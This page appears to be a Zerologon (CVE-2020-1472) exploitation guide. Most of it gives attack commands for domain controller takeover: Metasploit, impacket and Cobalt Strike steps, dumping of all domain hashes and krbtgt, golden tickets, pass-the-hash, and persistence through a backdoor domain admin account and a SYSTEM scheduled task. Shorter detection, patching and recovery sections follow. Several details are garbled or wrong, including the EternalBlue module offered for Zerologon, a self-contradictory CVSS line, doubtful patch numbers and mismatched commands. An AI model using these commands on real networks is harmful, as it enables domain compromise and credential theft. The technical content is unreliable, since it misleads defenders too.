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Zerologon (CVE-2020-1472)

Zerologon (CVE-2020-1472) is a critical vulnerability in Netlogon protocol authentication allowing unauthenticated domain controller compromise and complete domain takeover.

Vulnerability Details

  • CVE: CVE-2020-1472
  • CVSS: 10.0 (Critical)
  • Affected: Windows Server 2008 R2 - 2019 (pre-patch)
  • Attack Vector: Network/Unauthenticated
  • Impact: Complete domain compromise
  • Root Cause: Weak initialization vector (IV) in RC4 encryption

Prerequisites

  • Network access to domain controller Netlogon port (445)
  • Domain controller must not be patched
  • No credentials required
  • Can be exploited from workstations

Exploitation Methods

Metasploit Module

# Setup Metasploit
msfconsole

# Use Zerologon exploit
msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set RHOSTS 192.168.1.100
msf > set RPORT 445
msf > run

# Alternative: Use specific zerologon module
msf > use exploit/windows/smb/zerologon_netlogon_rce
msf > set RHOSTS 192.168.1.100
msf > run

Python Exploit (impacket-zerologon)

# Standalone Python exploit
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket

# Run exploit against DC
python3 examples/zerologon_tester.py 192.168.1.100

# Full exploitation
python3 -m impacket.examples.secretsdump -just-dc-user-sam DOMAIN\\Administrator@192.168.1.100

Cobalt Strike BOF (Beacon Object File)

# Load exploit in Beacon
beacon > inline-execute /path/to/zerologon.bin 192.168.1.100

# Set DC name
beacon > inline-execute /path/to/zerologon.bin DC_NAME 192.168.1.100

# Verify exploitation
beacon > execute net group "Domain Computers" /domain

Exploitation Stages

Stage 1: Netlogon Handshake Bypass

# Test vulnerability
python3 zerologon_tester.py 192.168.1.100

# Output indicates vulnerability if successful:
# [*] Target vulnerable
# [+] Netlogon authentication succeeded

Stage 2: Secure Channel Establishment

# Python code to establish secure channel
from impacket import nrpc

# Connect to DC
dc_name = '192.168.1.100'
computer_name = 'WORKSTATION'

# Perform Netlogon handshake (vulnerable)
# IV set to zeros (vulnerability)

Stage 3: Machine Account Takeover

# Reset machine account password
python3 -m impacket.examples.secretsdump -just-dc DOMAIN\\DC@192.168.1.100

# Credentials obtained:
# domain\DC$:hash

Stage 4: Domain Compromise

# Use compromised machine account for lateral movement
psexec.exe -u DOMAIN\\DC$ -p hash \\target cmd.exe

# Extract complete Active Directory database
python3 secretsdump.py -just-dc-user-sam DOMAIN\\Administrator@192.168.1.100

Complete Attack Chain

Option 1: Password Reset Attack

#!/bin/bash
# Zerologon complete exploitation

DC_NAME="DC01"
DC_IP="192.168.1.100"
DOMAIN="DOMAIN.LOCAL"

# Step 1: Test vulnerability
python3 zerologon_tester.py $DC_IP
# Expected: [*] Target vulnerable

# Step 2: Reset machine account password
python3 zerologon_exploit.py $DC_NAME $DC_IP

# Step 3: Extract credentials
python3 secretsdump.py -just-dc $DOMAIN\\$DC_NAME\\$@$DC_IP

# Step 4: Restore original password
# (Important for stealth - prevent breaking DC)

Option 2: Domain Controller Takeover

# Gain SYSTEM on DC directly
meterpreter > getsystem
meterpreter > getuid
# uid=SYSTEM

# Dump credentials
meterpreter > load kiwi
meterpreter > creds_all

# Extract domain database
meterpreter > shell
> ntdsutil
> activate instance NTDS
> ifm
> create full c:\snapshot
> quit

Credential Extraction Post-Exploitation

From Compromised DC

# Using impacket secretsdump
python3 secretsdump.py -just-dc DOMAIN\\DC@192.168.1.100 -output domain_hashes

# Using Metasploit
msf > use auxiliary/admin/smb/ntds_filehunt
msf > set RHOSTS 192.168.1.100
msf > run

# Using Mimikatz
beacon > execute mimikatz.exe lsadump::dcsync /domain:DOMAIN /user:krbtgt

# Results: All domain users + hashes

Specific Credential Targeting

# Extract Domain Admin hashes
secretsdump.py DOMAIN/DC$:password@192.168.1.100 -just-dc-user-sam | grep -i "500"

# Extract krbtgt (for golden tickets)
secretsdump.py DOMAIN/DC$:password@192.168.1.100 -just-dc-user-sam | grep krbtgt

# Extract ALL users
secretsdump.py DOMAIN/DC$:password@192.168.1.100 -just-dc-user-sam > domain_hashes.txt

Lateral Movement After Exploitation

Using Extracted Credentials

# Pass-the-Hash with Domain Admin
psexec.exe -u DOMAIN\\Administrator -p ntlmhash \\target cmd.exe

# Create golden ticket (krbtgt hash)
kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:S-1-5-21-xxx /krbtgt:hash

# Domain-wide access
# All systems now compromised

Persistence

# Create backdoor domain admin
net user backdoor_admin Password123 /add /domain
net group "Domain Admins" backdoor_admin /add /domain

# Create custom SPN (hidden admin)
setspn -a invisible/backdoor DOMAIN\\backdoor_admin

# Scheduled task on DCs
schtasks /create /tn "System Maintenance" /tr "backdoor.exe" /sc onstart /ru SYSTEM

Detection & Indicators

Network Signatures

  • Multiple failed Netlogon authentication attempts
  • Repeated connection attempts to port 445
  • Unusual Netlogon session activity

Log Indicators

# Event 4768 - Kerberos TGT requested
# Event 4769 - Service ticket requested
# Event 4770 - Kerberos TGT renewed
# Event 4777 - Netlogon failure (if logged)

Mitigation & Patching

Emergency Patches

# Microsoft security updates
# KB4557998 (Windows Server 2019)
# KB4557999 (Windows Server 2016)
# KB4558011 (Windows Server 2012 R2)

# Verify patch level
systeminfo | findstr "System Boot Time"
wmic qfe list | findstr KB455

# Force patch installation
wuauclt /forcefindnow
wuauclt /detectnow

Hardening Measures

# Enable Netlogon hardening registry key
reg add HKLM\System\CurrentControlSet\Services\Netlogon\Parameters /v FullSecureChannelProtection /t REG_DWORD /d 1

# Enforce LDAP channel binding
reg add HKLM\System\CurrentControlSet\Services\NTDS\Parameters /v LdapEnforceChannelBinding /t REG_DWORD /d 2

# Require SMB signing
net config server /autodisconnect:-1
reg add HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters /v EnableSecuritySignature /t REG_DWORD /d 1

Defensive Detection

Monitor for Exploitation Attempts

# Log Netlogon session changes
auditpol /set /subcategory:"Network Policy Server" /success:enable /failure:enable

# Monitor authentication failures
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4776)]]" |
  Where-Object {$_.Message -like "*failure*"}

Incident Response

# Verify if DC compromised
# 1. Check recent password changes
ntdsutil > activate instance ntds
> ifm
> create full c:\snapshot

# 2. Extract and analyze
secretsdump.py snapshot/NTDS.dit snapshot/SYSTEM.SAV

# 3. Check for golden tickets
dir \\dc\c$\Users\*\AppData\*\krb5.keytab

# 4. Audit admin changes
wevtutil qe Security /q:*[System[(EventID=4722)]]

Post-Compromise Domain Recovery

Complete Domain Reset Required

  1. Isolate all domain controllers
  2. Assume complete compromise
  3. Reset all passwords (Domain Admins first)
  4. Revoke all Kerberos tickets
  5. Generate new krbtgt password
  6. Rebuild DC from secure backups
# Reset krbtgt password (Domain Admin)
Set-ADAccountPassword -Identity "CN=krbtgt,CN=Users,DC=domain,DC=local" \
  -NewPassword (ConvertTo-SecureString -AsPlainText -Force "NewPassword123!") -Reset

# Force Kerberos ticket invalidation
Reset-ComputerMachinePassword

Tools Reference

ToolPurposeUsage
zerologon_tester.pyVulnerability detectionpython3 zerologon_tester.py DC_IP
zerologon_exploit.pyExploitationpython3 zerologon_exploit.py DC_NAME DC_IP
secretsdump.pyCredential extractionsecretsdump.py DOMAIN/DC$@DC_IP -just-dc
MetasploitMulti-purpose exploitationuse exploit/windows/smb/zerologon

CVSS and Severity

  • CVSS 3.1 Score: 10.0 (Critical)
  • Attack Complexity: Low
  • Privilege Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Impact: Complete System Compromise

Timeframe for Patching

  • Critical: Patch immediately
  • Exposed Systems: Assume breach and investigate
  • Post-Patch: Monitor for exploitation signs
  • Backup Recovery: From pre-compromise date

References